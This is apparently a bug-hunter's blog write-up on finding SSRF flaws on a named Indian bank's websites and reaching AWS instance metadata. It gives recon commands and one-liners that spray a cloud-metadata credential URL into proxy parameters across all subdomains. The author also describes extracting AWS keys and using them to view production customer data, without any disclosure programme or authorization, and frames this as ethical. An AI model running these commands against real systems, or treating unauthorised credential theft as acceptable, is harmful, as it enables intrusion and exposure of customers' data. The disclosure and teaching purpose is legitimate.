HOW I Found 17 Critical and Medium Security Bug on INDUSIND Bank along AWS Metadata access
Hi, everyone
My name is Santosh Kumar Sha, I’m a Security Researcher/Ethical Hacker from India(Assam). In this article, I will be describing HOW I Found 16 Critical and 1 Medium Security Bug on IndusInd Bank like SSRF aws Full access.
I am now offering 1:1 sessions to share my knowledge and expertise:
SPECIAL COVID-19 Note:
Don’t go outside without any reason . Stay home be safe and also safe other. Special request to my fellow bug-bounty hunter Take care of your health and get vaccinated.
TOOLS used for the exploitation
1. Subfinder (https://github.com/projectdiscovery/subfinder)
2. httpx (https://github.com/projectdiscovery/httpx)
3. gau(Corben) — https://github.com/lc/gau
4. waybackurls(tomnomnom) — https://github.com/tomnomnom/waybackurls.
Story Behind the bug:
This is the writeup of my how compromising the bank production and get access to BANK AWS data by SSRF and escalating it get their aws production server customer stored data.
There was no Responsive disclosure program or Bugbounty program but still i report 15 SSRF aws access , 1 Blind ssrf and few more. Many other critical bug because of them the customer would have suffer if it have goes to some bad guys hand. The IndusInd Bank don’t even said THANK YOU but I was HAPPY by reporting the bug. So, bug-bounty is not always about money, it also about helping the company to secured them.
Here it goes:
Suppose we assume the target name is example.com where every thing is in-scope like this:
In-scope : *.indusind.com
To gather all the subdomain from internet archives i have used subfinder , waybackurls tool and gau.
Command used:
subfinder -d indusind.com silent
gau -subs indusind.com
waybackurls indusind.com
So the chance of missing the subdomain still exist so in-order to be ahead of the game I don’t want to miss any subdomain for testing so I used subfinder and pipe to waybackurls to get all the domain for all the subdomain if exist and save it to a file.
So the final command will look like this:
gau -subs indusind.com | unfurl domains>> vul1.txt
waybackurls indusind.com | unfurl domains >> vul2.txt
subfinder -d indusind.com -silent >> vul3.txt
Now collecting all subdomain in one and sorting out the duplicates
cat vul1.txt vul2.txt vul3.txt | sort -u >> unique_sub.txt
NOW the actual google dorking recon start:
So while doing google dorking I have across an endpoint let not disclosed the entire endpoint for security reason but just assumed it as “/proxy”. So I got this endpoint with parameter is “redirect_url” It immediate hit mind my brain to test for SSRF.
GOOGLE dorked used:
site:*.indusind.com inurl:/proxy
So I was testing the for SSRF for redirect_url parameter it was not vulnerable so Then I tried my magic parameter spraying technique with some bash tricks to add my burp collaborator payload and proxy all urls to burp proxy to check the urls one by all as there was 200 urls .Here Is the command used for my magic parameter sparing
xargs -a /root/magicparameter/ssrf.txt -I@ bash -c ‘echo “https://www.indusind.com/xxxxx/proxy?xxxx=z&@=http://169.254.169.254/latest/meta-data/iam/security-credentials/XXXX";done' | httpx -http-proxy http://127.0.0.1:8080
Now When I check my burp Proxy I was surprise be the output as below for URL
https://www.indusind.com/xxxxx/proxy?xxxx=z&url=http://169.254.169.254/latest/meta-data/iam/security-credentials/
After that was able to to extract the AWS access key and secret . And using those aws key and secret I was able to using the production server metadata where i can see the customer data for the BANK.
After seeing this my reaction …
NOW I automated the Process to find more SSRF:
So Now I have Successfully found the SSRF on main site so I tried to test out other domain all . Now here I again used my magic parameter spraying technique with some bash tricks. Below Is the one liner script used for it:
xargs -a /root/magicparameter/ssrf.txt -I@ bash -c ‘for url in $(subfinder -d indusind.com| httpx| sed ‘s/$/\/xxxx\/proxy?/’ ); do echo “$url&@=http://169.254.169.254/latest/meta-data/iam/security-credentials/XXXX”;done’ | httpx -http-proxy http://127.0.0.1:8080
Using This method I was able to find other 16 SSRF where 15 of the where SSRF with aws access and One was a BLIND SSRF
Reporting them was very hard as there was no email or any security disclosure program or no any bug-bounty. Finally the got their security team email I quickly reported the bug and in the next day got a call from their Security TEAM head that They will work on fixing it.
So They fixed All the security issue That I have flagged . But They Not even said a THANK YOU or acknowledge my work. But I was happy my reporting issue because of There Mistake I the common people would have suffer if it was not Some Wrong Hand.
Moral For Story:
Being Security researcher is not always about money or fame, It is about doing good to the society with your knowledge and skill.
Takeaway
I’m sure that a lot of security researcher had already see there process but this how I approach for Finding an endpoint and automating with to finding multiple vulnerable targets.
That’s one of the reasons why I wanted to share my experience. also to highlight other techniques to exploit such vulnerability.
Support me if you like my work! Buy me a coffee and Follow me on Twitter.
LinkedIn Profile: https://www.linkedin.com/in/santoshlegend12tech/
